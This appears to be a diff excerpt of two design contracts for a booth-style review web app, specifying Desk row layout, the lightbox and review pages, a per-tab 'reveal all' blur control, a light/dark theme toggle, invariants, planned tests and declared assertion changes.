landed_at > viewed_at)`. Ordered by `(-landed_at, name)`, newest first.
3. **Everything else** — last UPDATED first: `(-landed_at, name)`, the date
the row shows as "updated". **Amended 2026-09-23 by the operator** ("last
activity can just be last time the booth was updated, not necessarily
operator's last activity"). This section used to be `list_booths`' order,
`(mtime, name)` descending over `_newest_mtime`, and that clock counts a
look: opening a booth moved it up, and a script that fetched every booth
(a post-deploy check) collapsed the whole section into reverse name order.
- Flagging, viewing or blurring a booth no longer moves it. Only content
does, which is also what moves a booth into (2).
- `list_booths` keeps its own `(mtime, name)` order for its other readers,
and `_newest_mtime` still feeds lifetime (INV-5). Only the Desk's
section stopped reading it.
The side column holds:
- **Benches**: `read_benches(data_dir)`, non-retired, in the registry's
existing order. Its error return renders as an error line, never as an empty
list. This is the booth page's rule: damaged and absent must not render the
same.
- **Agent-written URLs become links only when they are `http(s)`.** A bench
URL or a bookmark with any other scheme renders as plain text. Autoescape
stops markup, not a `javascript:` href.
- **Bookmarks** come from the board the CLI writes: the booth named by
`BOOTH_LINKS_BOARD`, default `links`. They are read through the same
never-raising path as `_board_rows`, which gets factored so both callers
share it.
- Shown: rows that are not booth URLs (`booth_target(url) is None`).
- Order: pinned first, then newest (`order_for_display`).
- Capped at 8, with a link to the full board.
- **Pickup**: the existing upload form, unchanged, moved from the page head.
**An empty section does not render** — no heading, no box. This is the
load-bearing negative half of the kept-lane pair it replaces
(`'class="grid kept-grid"' not in html`), carried forward into test_flow.py as
a pair: present when it has rows, absent when it has none. It applies to each
of the three sections and to the Benches and Bookmarks panels.
The kept/ephemeral lanes are **removed**: 23 of 24 live booths are kept, so the
lanes sort nothing. Kept status and the lifetime line (`_lifetime.html`,
unchanged) remain on every row.
**A row's controls sit on its facts line**, each beside the state it changes:
`release` after "kept", `★ keep` after a countdown or a hold, `× wipe` last.
They are always visible, with no hover-only reveal: that was a column that
reserved its room while invisible (operator, 2026-09-23, on the live Desk:
"release and x take up space whether or not they're visible"), and touch has
no hover. The side column renders only when the row has a badge, so a row
without one reserves nothing. The forms, POST targets and `data-confirm`
wording are unchanged.
- **On a coarse pointer every row control is at least 28px square**, the floor
it had as a column, and wipe stands clear of the zip link. With scripts off
no confirm fires, so a mis-tap on wipe is the delete. A fine pointer keeps
the compact line.
- **The confirm dialog shows the name as it should be READ.** Control and bidi
formatting characters in an agent-made name show as U+FFFD, so a U+202E or a
newline cannot rewrite what the operator approves. A `data-confirm` word the
page does not know still asks, generically: the prompt fails closed.
- **No page scrolls sideways at any width**, including an install path with no
break opportunity in the footer or the empty Desk (`code` wraps anywhere).
Tested at 390, 720, 850, 1000 and 1400px with the heaviest row the Desk draws.
### C5 — the lightbox (booth.html, booth_view)
- **Layout.** Two panes on a gallery booth: the set on the left, the
**verdict aside** on the right (`position:sticky`, `data-region="verdict"`).
Under 1000px the aside stacks above the set, with its flags and notes
collapsed as `<details>`, which needs no script.
- The markup is a CLOSED `<details>`.
- Above 1000px, CSS alone shows its content (`::details-content`) and hides
its summary, so nothing is folded where there is room.
- A browser without `::details-content` shows the fold at every width: one
tap, never hidden.
- **Board booths are unchanged.** Anything with `links.md` keeps today's
single column.
- **The aside holds, top to bottom:**
1. open picks (the existing `_marks.html` pick rendering);
2. the flag tray;
3. notes;
4. the booth-note form.
- **The flag tray is ordered by ORDINAL** — a declared change from the marks
panel's `(created, id)`. It shows each flagged item's original file
displayed small (no generated thumbnail), blurred if the item is blurred,
with its #.
The order is total with no tie-break, because rels are unique.
- **Orphan flags** — flags whose target is no longer an item — follow the
tray, by target, each with its unmark form. A flag the page cannot show
must still be clearable, or it counts in the rail forever.
- **The rail stays.** Same element, same `.rail` class (booth.html's cursor
and base.html's `--rail-h` script both read it), same filter hrefs, same
group anchors. When `rail.groups` is non-empty AND every group is one
contiguous run in the rendered order, the grid additionally renders an
inline group header before each group's first tile.
- Groups come from basenames and the order from full paths, so groups can
interleave (`d1/aa`, `d1/bb`, `d2/aa`).
- A header would then either repeat or file an item under the wrong group,
so interleaved groups get no inline headers. The rail's jump links are
unaffected. It is a
`<div>` spanning the grid, never a `figure.item`, so the keyboard and the
order check are blind to it by construction.
- **Every tile shows `#NN`** (its ordinal, zero-padded to the set's width).
Each tile is `data-region="item-<url>"`, so the in-place script can replace
exactly the tile it flagged.
- **An audio or video tile carries a `review` link** to its review page. On
those tiles a click drives the player, so without the link the review is
reachable only by key.
### C6 — the review (view.html, booth_view_file)
This applies to image, video and audio items. Docs keep `doc.html`.
A requested rel the filesystem cannot represent (a NUL byte, an over-long
path) is a 404, as any other unknown rel is — never a 500.
- **The stage**: the artifact at fit size, with a 1:1 toggle for images ONLY.
- The toggle and its script are rendered and bound only when the stage is
an `<img>`.
- The toggle is a JS-only VIEWING convenience, as it is today: the button
starts hidden and the script shows it. With scripts off the image shows at
fit size, and no judgment depends on the toggle (INV-3).
- Video and audio get their native controls and no toggle. A toggle that
renders on audio and silently no-ops (today's script binds
`getElementById('vimg')`) is the failure this names.
- **The rail** (`data-region="rail"`) holds:
- the item's ordinal `#NN` (its number in the whole set, the same number
its tile shows);
- `K of M`, where K is its position in `review_chain` and M is the length
of `review_chain`. The tape's "N of M seen" uses the SAME M, and N counts
`.seen` ∩ `review_chain`;
- its position within its group, when the review RING spans two or more
groups (the gallery rail's own rule: one group for everything says
nothing);
- the caption;
- the flag form (`back=view`);
- notes and the add-note form (`back=view`);
- any open pick TARGETING this item, answerable here (`back=view`);
- the booth's other open picks as a count and a link.
- **The filmstrip** is `review_chain` in order, with ordinals, flagged frames
underlined and the current frame in the reticle.
- **The tape** (B's device) is one segment per `review_chain` item: seen /
flagged / current, plus "N of M seen".
- **The end of the set** is not a separate page. On the last ring item the
rail adds a summary block: the seen count, the flag tray, and EVERY OTHER
open pick, answerable in place.
- That includes picks targeting other items, not only booth-level ones: the
end of the set is where the remaining questions get cleared.
- Before the last item, the other picks are a count and a link.
- **Keys** (additive). **Every** key here, new and old, is ignored while focus
is in an `input`, `textarea`, `select` or `contenteditable`, the same
`isEditable` guard view.html carries today, so F never fires mid-note:
| key | action |
|---|---|
| ← → and Space | move. Shift+Space moves back. Space is left to a focused `<video>`/`<audio>` player, whose own play key it is |
| F | flag |
| N | focus the note |
| Esc | back to the grid, at `#item-<url>` so the grid scrolls to where you were |
### C7 — copy and brand (the two rulings that are not layout)
- **Voice: plain and direct** (ruling `voice=plain`). Every NEW string R2
introduces says what it means, with no villainy and no jokes. Existing
strings are unchanged unless their surface is rewritten.
- **No SVS emblem** anywhere in the Booth's chrome (ruling `emblem=no`). The
brand dot and the reticle favicon from the SVOS retheme stay.
## Invariants
- **INV-1 — one resolver.** `ordinal` is set in `booth_items`. No route computes
a position.
- **INV-2 — order, stated.** Each ordered surface has a one-line rule:
| surface | rule |
|---|---|
| items | `sorted(rel)` |
| ordinals | position in that |
| review ring | that, filtered to media |
| filmstrip, tape | the review ring |
| flag tray | by ordinal |
| Desk sections | fixed: needs → new → everything |
| needs you | `(open_since, name)` |
| new since you looked | `(-landed_at, name)` |
| everything else | `(-landed_at, name)`: last updated first (amended 2026-09-23) |
| bookmarks | `order_for_display` |
The notes list keeps `(created, id)`.
- **INV-3 — JS-off parity.** Every judgment, filter and jump works with
scripts disabled. The only JS-only affordances are:
- the keys;
- the in-place swap;
- the image 1:1 toggle (a viewing convenience, unchanged from today);
- the existing copy buttons and blur reveal.
The narrow-screen collapse is `<details>` and needs no script.
- **INV-4 — 303 byte-identity, for every request shape that existed before
R2.**
- For a request where `wants_json` is False and `back` is absent or
`marks`, each mark route's response (status, headers, body) is
byte-identical to its pre-R2 response.
- `back=view` is a NEW request shape with no pre-R2 counterpart. Its landing
is specified in C3 and is the one declared exception.
- **INV-5 — two named clocks.**
- `mtime` / `_newest_mtime`: activity. It includes dotfiles and excludes
locks, and it feeds lifetime. (It fed 'everything else' until 2026-09-23;
see §3.)
- `landed_at`: content only (non-dot entries), and it feeds 'new since you
looked'.
- Never the one where the other is meant: a mark or a view is not new
content, and new content is not the only activity.
- **INV-6 — no second renderer.** The in-place script inserts server-rendered
HTML and builds none.
- **INV-7 — autoescape.** No `|safe` on any booth name, item name, caption,
why or mark text. The flag tray and filmstrip render names through the same
escaping path as the grid.
- **INV-8 — blur honesty.** A blurred item stays blurred on every new surface:
the Desk preview strip, the flag tray, the filmstrip and the review stage.
Reveal stays per-BROWSER and client-side (nothing persisted). Copy keeps admitting it is cosmetic.
## Assertions that change (declared before the code, per CLAUDE.md)
| test | today | after R2 | why |
|---|---|---|---|
| test_booth.py L785 | `class="grid kept-grid"` present when a booth is kept | absent; the kept booth appears in its Desk section with the `kept` lifetime line | requirement 8: the lanes sort nothing |
| test_booth.py L786 | `class="card card-kept"` present | replaced by the row carrying `data-kept="1"` | same |
| test_embed_browser.py `test_the_keyboard_flag_actually_submits` | pressing `f` causes a NAVIGATION (`page.expect_navigation()`), and the reloaded page shows the flag | pressing `f` causes NO navigation; the flag comes back from the server into the swapped tile. A window marker set before the keypress must survive, proving no reload | with JS on, the flag now applies in place (requirement 3). The gallery reload was the no-JS design working, not a defect, and the plain-form path is still pinned by the INV-4 golden. The defect R2 fixes is the full-size EJECTION, `view.html`'s flag form carrying no `back`. The test's real claim — the key reaches the server and the server's state comes back — is kept, and asserted more strictly |
| test_booth.py L789 | the kept booth renders BEFORE the ephemeral one (`html.index("links") < html.index("scratch")`) | replaced by the Desk's stated order (needs → new → everything, each with its own key) | the kept-first order was the lane's; with no lane there is no kept-first rule, and a second hidden ordering would break INV-2 |
| test_booth.py L810-811 | lane absent when nothing is kept | these two SURVIVE unchanged (they assert absence and stay true) | — |
Every other existing assertion is expected to survive, and one of the TDD
slices is "the whole suite green before any new test". Named because they were
checked:
- the `vnav vprev` / `vnav vnext` anchors (test_booth L569-591 and
test_navigation L337) keep their classes and hrefs;
- `Wipe now` stays in the booth header;
- `class="boothhead"` stays.
## Accepted risks (named, not fixed)
- **`.seen` is read-modify-write without a lock.** Two reviews of the same
booth racing can drop one rel from `.seen`. The cost is cosmetic — a frame
shown unseen on the tape — and the next look repairs it; a lock would buy a
cosmetic count at the price of a lock file the lifetime clock must ignore.
- **A `.viewed` symlink planted by an agent freezes 'new'.** `viewed_at`
reads it by `lstat`, and `record_view` refuses to write through it
(`O_NOFOLLOW`), so the marker never moves again: once content lands after
it, the booth reads as 'new' however often it is opened. It fails in the
visible direction — shown, never hidden — and needs write access to the
booth, which already buys worse. The remedy is deleting the link.
- **`Item` gains `ordinal` with no default.** `booth_items` is the single
construction site, keyword-only; a default would let a second site forget
it silently (INV-1).
## Out of scope
- Compare (r3).
- Thumbnails.
- 1–9 answer keys.
- Lifetime policy for answered picks.
- The verbatim path. A verbatim booth's media items remain reachable at
`view?f=` by URL, as today, and nothing in the verbatim page links there.
- The link-board page (`/b/links/`) beyond CSS.
@@ -0,0 +1,369 @@
---
contract_version: "0.1"
status: "PROPOSED 2026-09-23 by design-dev, from operator rulings relayed by booth-dev the same day (thread 01M38BJ30WVQT870MS6WGM49EK): blur=A; three Desk-row rulings; a theme toggle. Contract panel folded. Both open points answered by the operator (thread 01M38CT9DH2N3Z4FSJ0MNE4DR1): × hides (A), and the theme reaches inside verbatim pages. DELIVERED IN TWO MERGES, blur first (operator: 'per booth blurring is now important since we are showing up to 4 images'): merge 1 = D2 + D2b, merge 2 = D1 + D3."
module: "templates + base.html CSS/JS + the vendored token sheet (the Desk row, Reveal all, the theme toggle)"
purpose: "Three operator rulings, one contract. THE DESK ROW: kept vs ephemeral reads at a glance; download/keep/release appear only on hover, at no space cost; the zip link leaves the middle. REVEAL ALL: one control reveals every blurred item in a booth for the life of the tab. THE THEME TOGGLE: System / Light / Dark at the top of every page."
depends_on:
- "booth.items.booth_items + Item.blurred (INV-1 of r2: the one resolver). Reveal all reads Item.blurred and nothing else. booth-dev is adding a booth-level blur flag that feeds Item.blurred (composes with `.blurred`, never overrides); this contract needs no change when it lands."
- "templates/_lifetime.html `lifetime(kept, hold, expires_in)` — its OUTPUT is unchanged; the Desk wraps it."
- "booth.app.index / list_booths row fields `kept`, `hold`, `expires_in`, `name`, `name_url`, `count`, `flags`, `marks_open`, `uploaded` (unchanged)."
- "booth.app.booth_view / booth_view_file contexts (`name`, `items`, the review ring)."
- "the in-place client in base.html (r2 C3): POSTs a form, re-fetches the CURRENT URL and swaps its `data-region` elements. It never navigates — every change of page, booth to booth included, is a full load — and it never touches <html>, the top bar, or anything outside a region."
- "booth.items.is_booth_blurred(booth) + BOOTH_BLUR_FILE `.blurbooth` (booth-dev, c1108a1): the whole-booth blur marker. Fails toward BLURRED on an unreadable read."
- "POST /b/{name}/blurbooth with `on=1|0` and optional `back=<rel>` → 303 to the booth, or to `view?f=<rel>` (booth-dev, c1108a1). Not a mark route: no 204, always the 303."
language: "jinja + css + a little javascript"
complexity: "medium"
estimated_loc: 350
confidence: 0.7
touches:
- "booth/templates/index.html (the row: facts line, lifetime pill, the hover cluster, the `blurred` badge; the confirm script unchanged)"
- "booth/app.py (READS only, no new route: `booth_blurred` in the booth_view and booth_view_file contexts and on each list_booths row; `blurred_self` on each gallery dict, read off `Item.blurred_self` — moved onto the item record by booth-dev 2026-09-23 so blur state has one reader, invariant 3)"
- "booth/templates/base.html (Desk row CSS; reveal-all CSS; the theme toggle markup in the top bar; the early <head> script; the toggle script)"
- "booth/templates/booth.html (Reveal all in the booth header; per-tile reveal defers to it)"
- "booth/templates/view.html (Reveal all in the review; the stage reveal defers to it)"
- "booth/templates/_svos_tokens.css (RE-VENDORED at the same SVOS SHA ed2f8d8 with a new scoping transform; no value changes)"
- "booth/static/embed.js (the `.bk-ask` colours follow the theme choice; D3)"
- "tests/test_flow_browser.py, tests/test_flow.py (new tests; two assertions change, see below)"
- "tests/mutations/r2_flow.toml (rows whose anchors this moves are re-aimed, never deleted without a replacement)"
assumptions:
- "ONE VIEWER, per r2. A reveal and a theme are per-browser; the server stores neither."
- "EVERY JUDGMENT WORKS WITH JAVASCRIPT OFF (INV-3 of r2). Keep, release, wipe and zip stay plain forms and a link. Reveal all and the toggle are JS-only affordances and do not render without JS."
resolved_questions:
- "OPEN-1: does × (wipe) hide until hover with download/keep/release? ANSWERED YES by the operator (2026-09-23), the recommendation."
- "Does the theme toggle reach the ask chrome (`.bk-ask`) inside verbatim pages? ANSWERED YES by the operator: 'theme toggle reaches inside'."
---
# R2b — the Desk row, Reveal all, the theme toggle
## D1 — the Desk row
The operator, verbatim: *"let's make it obvious which are kept and which are
ephemeral"*; *"the zip download button is in between keep/release and wipe, and
looks awkward"*; *"let's have the download, keep and release buttons only appear
on mouseover"*.
- **The lifetime is a pill in the row's right column, always visible.** It is
state, not a control, so it stays when the controls hide, and the right column
scans down the Desk as one column of state.
- `life-kept` when `b.kept`: sage (SVOS: a judgment made), prefixed `★`.
- `life-held` when not kept and `b.hold` is `open` or `unreadable`: amber.
- `life-count` otherwise: neutral outline, prefixed `◷`.
- The pill wraps `lifetime(...)`, whose output is unchanged; the class is
chosen from `kept`/`hold` alone.
- The badges (open count, new, pickup, marks unreadable) stay in the same
column, above the pill. The column always renders now, because every row
has a lifetime.
- **The facts line is facts only**: item count and flag count. The lifetime and
every control leave it.
- **The controls are one cluster, `.desk-acts`, in this order:** `⬇ zip`, then
`★ keep` or `release`, then `× wipe`, set apart from the other two. Zip leaves
the middle; release stays next to × (the operator's earlier "x next to
release").
- **Where a real hover exists, the cluster takes no room.** "Real hover" is
`(hover: hover) and (pointer: fine)` with NO coarse pointer present
(`any-pointer: coarse` does not match). A touch laptop reports a mouse, but a
finger on it cannot hover, so it gets the touch treatment below.
- At rest the cluster is absolutely positioned over the top-right corner of
the row's preview strip, at opacity 0 and `pointer-events: none`. On row
`:hover` or `:focus-within`, BOTH are restored: opacity 1 and
`pointer-events: auto`. A visible control that cannot be clicked is a
defect.
- It covers pictures, never information: its box never intersects
`.desk-main` or `.desk-side` at any width.
- Keyboard: the controls stay in the tab order while hidden (opacity, never
`visibility`/`display`), and focusing one reveals the cluster.
- At ≤700px the strip is the row's first line, full width, and the text
column, pill and badges wrap below it. The cluster sits at the strip's
top-right, which is still picture.
- **Everywhere else (no hover, a coarse primary pointer, or any coarse pointer
present), the cluster is visible and in flow**, on its own line at the
bottom of the row.
- **The cluster is LAST in the row's markup**, so the booth's name comes first
in tab order and wipe comes last. Where a real hover exists it is placed over
the strip from the row's own box: the strip keeps to the row's top, 210px
wide from the row's 12px padding.
- Accepted: the hover query uses Media Queries 4 `not (...)`. An engine
without MQ4 drops the whole query, and the failure is the safe
direction: the controls show, in flow.
- Known limit: the touch-LAPTOP branch (a fine primary pointer plus a coarse
one) cannot be emulated, because Chromium's touch emulation makes the
primary pointer coarse. That branch is covered by reading the media query,
not by a test. Hover-only would mean no
controls at all on touch. Every control there is at least 28px square
(r2's Slate T2 floor).
- **× hides with the others** (OPEN-1, answered yes). A visible × on every row
would be a standing invitation to the one irreversible action. A visible × on
every row is a standing invitation to the one irreversible action, and hiding
the safe controls while the destructive one stays inverts the priority. It
appears with the cluster, last, set apart.
- Unchanged: the forms, their POST targets, `data-confirm`, `data-booth`, the
confirm script and its `shown()`, the ≥28px coarse-pointer floor, and "no page
scrolls sideways at any width".
### D1b — dates (operator, added 2026-09-23: "I think I want creation and update dates on the booths now too")
Merge 2, with the row. booth-dev has put both on the record (thread
01M38D39ANKF2TW2F15TEYJ1GT):
- `created_at` is the directory's birth time via `statx`, a float epoch, or
None when the filesystem cannot say. None renders as NOTHING, never a guess.
- "Updated" is `landed_at`, the content clock the "new" section already reads.
They render on the Desk row's facts line and in the booth header's status line
as dated FACTS, a different kind of thing from the lifetime pill (state) and the
controls (actions). One macro, `_dates.html`, serves both:
- **created** is a DATE, "created 12 Sep" (with the year only when it is not
this year's);
- **updated** is an AGE, "updated 5d ago", measured from ONE clock per page
(`now` in the context), so every row is measured from the same instant;
- each is a `<time>` with `datetime` (ISO) and its exact local stamp as the
title;
- **updated shows whenever it differs from created by a minute or more,
EITHER way.** Copied files keep their mtimes while the folder is born now,
so content can be older than its booth. Within a minute, one date;
- a content clock AHEAD of now is said as its DATE, never as an age ("updated
just now" would be false);
- an age is in its largest whole unit, a day being 24h;
- a date the filesystem cannot give, or the calendar cannot hold, renders
NOTHING. The filters never raise: the Desk renders every row in one
response, so one unrenderable clock would otherwise 500 the index for every
booth.
## D2 — Reveal all (blur ruling A)
- **One STATE per booth, shown by a control in two places: "👁 reveal all —
blur is cosmetic" / "🙈 blur again".** It appears in the booth header, the
review's top bar and a blurred doc's own top bar. Every instance sits OUTSIDE
every `data-region`, so no in-place swap replaces it: its state lives in the
tab, and a swap must never reset it. Below 600px it reads "👁 reveal all";
its title still says the blur is cosmetic. The server puts the control in the markup only
where it can act, and always with the `hidden` attribute: in the header when
any item of the booth is blurred (`Item.blurred`), and in the review when any
item of the review RING is (a blurred doc is not on the review page, so a
control there would act on nothing). The script removes `hidden` and binds it. Without
JS it is in the markup but never shown.
- **State: `sessionStorage["booth.reveal:" + <booth name>] = "1"`.** Per booth,
per tab, gone when the tab closes, so a blurred booth is blurred again next
time. Nothing reaches the server.
- A READ that throws (a private window, blocked site data) reads as "not
revealed".
- A WRITE that throws still applies the click to the page in front of you:
it is only not remembered for the next page. A control that does nothing
when clicked is a defect. Neither case ever raises.
- **The mechanism is one class on `<html>`, `reveal-all`.** CSS lifts the blur
under it on every booth surface: tiles, the flag tray, the filmstrip and the
review stage. `<html>` is outside every `data-region`, so an in-place swap
can never drop it.
- `<html data-booth="<name>">` is on EVERY page rendered for one booth: the
booth page, the review, the doc view and the marks page. It is an
autoescaped attribute, read by `getAttribute` and never templated into
script. An early `<head>` script adds `reveal-all` before first paint when
that booth's key is set, so a revealed booth does not flash blurred on the
next page of the reel.
- Because every change of page is a full load, the class is re-decided per
page, from that page's `data-booth`. Booth A's reveal cannot follow you
into booth B.
- The index's `<html>` carries no `data-booth` (its rows' own `data-booth`
attributes are unrelated), so **nothing on the index is revealed by D2**,
the Desk strip included.
- **A board holding files gets both controls.** Only the one-click wipe is
board-suppressed; an item's "◉ booth" label points at the header control,
so the control must be there.
- **The full-page doc view is blurred honestly.** A blurred doc's own page
renders its body blurred, with its own JS-only reveal; Reveal all lifts it
by the same `<html>` class.
- **The per-item reveal defers to it, BY STYLESHEET.** Under `.reveal-all` the
per-tile and stage reveal buttons are `display: none`. That is a CSS
consequence of the class, so markup swapped in after a save obeys it with no
script. Reveal all never touches an item's own `revealed` class: "blur
again" returns every item to exactly the per-item state it had, an item
revealed on its own staying revealed.
- INV-8 of r2 holds: the server renders every blurred item blurred; the reveal
stays per-browser and client-side; the copy keeps saying it is cosmetic.
## D2b — the booth blur toggle (added after the contract panel was dispatched)
booth-dev landed the whole-booth marker and its route while the panel was
reading; this is the control the operator uses, which the blur ruling assumed.
- **"◌ blur booth" / "◉ booth blurred" in the booth header and the review's
top bar (`.vbar`)**, each wrapped in its OWN region, `blur-booth`. Its label is
server state, so an in-place save refreshes it with everything else; a fog
set elsewhere since the page loaded would otherwise leave it saying "blur
booth". It is a plain `<form method=post action=/b/<name>/blurbooth>` with
`on=1|0`, so it works with scripts off (INV-2). From the review it carries
`back=<rel>`. The route lands on the review only when `back` is an item of
the review ring, and otherwise on the booth page; the landing is built from
the ring, never echoed.
- **Fogging never writes through a link.** booth-dev's `set_booth_blurred` used
`touch()`, which followed a planted `.blurbooth` symlink: a click of this
control rewrote an outside file's mtime, or created a dangling target. Any
entry already at the name reads as fogged, so nothing is written; otherwise
the marker is created with `O_CREAT | O_EXCL | O_NOFOLLOW`.
- **Space never hijacks a focused control.** The review's Space-to-advance
ignores a focused button, link or summary, so a keyboard can press these
controls.
- **Its state comes from the server**, never from the client:
`booth_blurred = is_booth_blurred(booth)` in both contexts. The label says
what IS, and pressing it flips it.
- **The Desk row carries a `blurred` badge** when `booth_blurred`, so a fogged
strip says why. It is one `is_booth_blurred` call per booth in the pass
`list_booths` already makes. The badge is information: it is not the
control, and it does not hide on hover.
- It is independent of Reveal all. Fogging a booth sets server state for every
viewer; Reveal all lifts the fog for one tab.
- **Each item's own blur control tells the truth under a fogged booth.**
`Item.blurred` is the COMPOSED fact (own OR booth). The per-item form changes
only the item's own entry in `.blurred`, so the gallery also carries
`blurred_self`, from `Item.blurred_self` (the same single read `booth_items` makes for `blurred`).
- An item blurred only because the booth is shows "◉ booth", a label with no
form, pointing at the header. A per-item un-blur there would be overridden
by the booth flag and visibly do nothing.
- An item blurred on its own keeps its "◉ blurred" un-blur.
- Found by rendering the built page, not by any review.
## D3 — the theme toggle
- **System · Light · Dark, in the top bar of every page.** A segmented control
of three buttons with `aria-pressed`. The top bar is outside every
`data-region`, so no swap replaces it. It is in the markup with `hidden`,
and the script removes that and binds it.
- **State: `localStorage["booth.theme"]` ∈ {`light`, `dark`}; absent = System.**
The opposite lifetime to Reveal all, deliberately: a theme should outlive the
tab, a reveal must not. A READ that throws reads as System. A WRITE that
throws still applies the choice to this page, and it is only not
remembered.
- **Mechanism: `data-theme` on `<html>`.** Absent = the OS preference, exactly
today's sheet. An early `<head>` script sets it before first paint, so a
forced theme never flashes the other one.
- **A choice made in another tab moves every open Booth page** (the `storage`
event), as it moves the ask chrome.
- **System is live-following BY CONSTRUCTION.** Choosing System removes
`data-theme`, and the `prefers-color-scheme` media query takes over. A media
query tracks the OS live, so no `matchMedia` listener is needed: JS never
computes the theme.
- **The token sheet is re-vendored at the same SVOS SHA (ed2f8d8) with a new
scoping transform, and no value changes.** The complete selector list:
| block | selector |
|---|---|
| primitives, dark, art layer | `:root` (unconditional: dark is the default, and what forced dark leaves standing) |
| light + art-light | `@media (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
| light + art-light | `:root[data-theme="light"]` |
| dark-hc | `@media (prefers-contrast: more)` → `:root` |
| light-hc | `@media (prefers-contrast: more) and (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
| light-hc | `@media (prefers-contrast: more)` → `:root[data-theme="light"]` |
- **Forced dark** excludes both light rows, so the unconditional dark block
stands, with dark-hc under more contrast.
- **Forced light** matches the bare light row at specificity (0,2,0), which
beats dark-hc's `:root` (0,1,0). The light-hc row then applies under more
contrast.
- **The preservation check runs in BOTH directions at vendoring time**:
every declaration of the old sheet is in the new, and the new has none the
old lacked. The committed test checks each re-scoped copy against the
UNMOVED dark block. SVOS's light and dark declare the same 42 properties,
and its dark-hc and light-hc the same 41, so a declaration the transform
drops fails it. Light declares every dark-block property PLUS the art
layer's four light-only values (the three shadows and the armed glow).
That extra set is written in the test from SVOS, never derived from the
copies, so dropping it from both copies fails too.
- **No JS: no toggle, and the page follows the OS**, as today.
- **The toggle reaches inside verbatim pages** (operator: "theme toggle reaches
inside"). `embed.js` reads the same `localStorage["booth.theme"]` (the same
origin) and marks each `.bk-ask` IT MOUNTED (never an author's own element
of that class) with `data-bk-theme`. Its
colours follow that attribute exactly as the Booth's own sheet follows
`data-theme`: forced when set, OS when absent. It follows a change made in
another tab through the `storage` event. It sets nothing on the host page's
own `<html>`: the author's page is not ours to theme, only our guest chrome
inside it. If a forced theme makes the chrome look actively broken against
a host page, that goes back to the operator rather than being absorbed.
## Invariants
- **INV-1 — nothing new on the server beyond READS.** No route and no file are
added: `booth_blurred` in two contexts and on the Desk row (`is_booth_blurred`),
and `blurred_self` per gallery item (`Item.blurred_self`, from `booth_items`' one read). D2 and D3 are per-browser state; D1 is markup and CSS.
- **INV-2 — JS-off parity (r2 INV-3).** Every control on the row works with
scripts off. Reveal all and the toggle do not render without JS. The page
follows the OS.
- **INV-3 — no reserved room for a hidden control** where a real hover exists.
The box of every element in the row other than the cluster — the strip, each
preview image, the text column, the side column, the pill — is identical
with the cluster present or removed.
- **INV-4 — blur honesty (r2 INV-8).** Nothing on the index is revealed by D2.
- **INV-5 — autoescape.** The booth name reaches the reveal-state machinery
only as an escaped attribute value (`data-booth`), read by `getAttribute` and
never templated into a script.
- **INV-6 — no flash.** A forced theme and a set reveal are applied before
first paint.
## TESTS
- `the_row_controls_take_no_room_where_a_hover_exists` [tracer]: at rest the
cluster is at opacity 0 and cannot be clicked. On row hover it is at opacity 1
and a click on keep reaches the server. The box of every other element in
the row is identical with the cluster removed. The cluster's box never
intersects the text or side column, at 390 / 720 / 1000 / 1400px.
- `on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px`: a touch
context (no hover, coarse pointer).
- `the_lifetime_pill_class_is_kept_held_or_counting`: the class is chosen by
state, the lifetime words are unchanged, and the pill is visible with no
hover.
- `the_row_controls_run_zip_keep_or_release_then_wipe`.
- `reveal_all_reveals_every_blurred_surface_and_survives_the_next_page`: tiles
and tray on the booth page, stage and filmstrip on the review, across a
navigation in the same tab; a fresh tab (new context) is blurred again.
- `reveal_all_never_reaches_the_desk`.
- `the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review`: header
and review forms POST `/blurbooth`; the label follows `is_booth_blurred`; the
review form carries `back`; the Desk row shows `blurred`.
- `reveal_all_survives_an_in_place_save`: after a save, the blur is still
lifted, the control still reads "blur again" and still works, and the
per-tile buttons are still hidden.
- `reveal_all_on_booth_a_does_not_reveal_booth_b`.
- `blur_again_restores_each_items_own_reveal`.
- `reveal_all_is_absent_without_blurred_items_and_hidden_without_js`: no markup
when nothing is blurred; with blurred items, the markup carries `hidden` and
a JS-disabled context never shows it.
- `a_storage_failure_still_applies_the_click`: sessionStorage and localStorage
throwing on write; the reveal and the theme still apply to the page.
- `the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live`:
pressing Light/Dark changes `--surface-base` and survives a reload (new page,
same context); System plus an emulated OS scheme flip changes it WITHOUT a
reload.
- `a_forced_theme_follows_high_contrast`: under `prefers-contrast: more`,
forced dark resolves exactly what OS dark does, and forced light what OS
light does. The check reads tokens that DIFFER between a theme and its
high-contrast variant (`--text-faint`, `--border-default`; `--surface-card`
is the same in both and would prove nothing), and asserts that high contrast
actually changed them.
- `a_forced_theme_and_the_os_theme_are_the_same_declarations`: each light copy
equals the other and declares the dark block's property set plus the four
art-light values; each light-hc copy equals the other and declares exactly
the dark-hc block's.
- `created_and_updated_are_dated_facts_and_none_says_nothing`,
`updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date`,
`a_date_no_calendar_can_hold_renders_nothing_and_never_500s`,
`an_age_is_said_in_its_largest_whole_unit` (D1b).
- `a_rows_booth_name_comes_before_its_controls_in_tab_order`,
`the_pill_shows_at_rest_and_focus_reveals_the_controls`,
`with_scripts_off_a_rows_controls_still_act` (D1).
- `a_theme_chosen_in_one_tab_moves_the_others`,
`the_theme_marks_only_the_ask_fragments_we_mounted` (D3).
## Assertions that change (declared before the code)
| test | today | after | why |
|---|---|---|---|
| test_flow_browser `test_a_rows_keep_release_and_wipe_take_no_room_of_their_own` | controls visible at rest; a row with no badge has no side column (gap ≤14px) | replaced by `the_row_controls_take_no_room_where_a_hover_exists` | the operator ruled hover-reveal; the side column now always holds the lifetime pill |
| test_flow_browser `test_on_a_touch_screen_the_row_controls_keep_their_tap_floor` | measures `.desk-facts form button` | the same floor, measured on `.desk-acts` controls | the controls moved; the floor did not |
| test_flow_browser `test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open` | clicks the row's wipe at rest | hovers the row first, then clicks | wipe is hidden until hover (OPEN-1, answered yes) |
| tests/mutations/r2_flow.toml, four rows on the facts-line controls | proved the controls visible at rest on the facts line | retired, with successors in r2b.toml | their tests were replaced, as declared above |
## Out of scope
- The booth page header's keep / release / wipe (`.keep-lg`, `.wipe-lg`) — the
rulings named the Desk row.
- A site-wide blur switch (ruling A, not B).
- The tagline copy.
+198
View File
@@ -0,0 +1,198 @@
---
contract_version: "0.1"
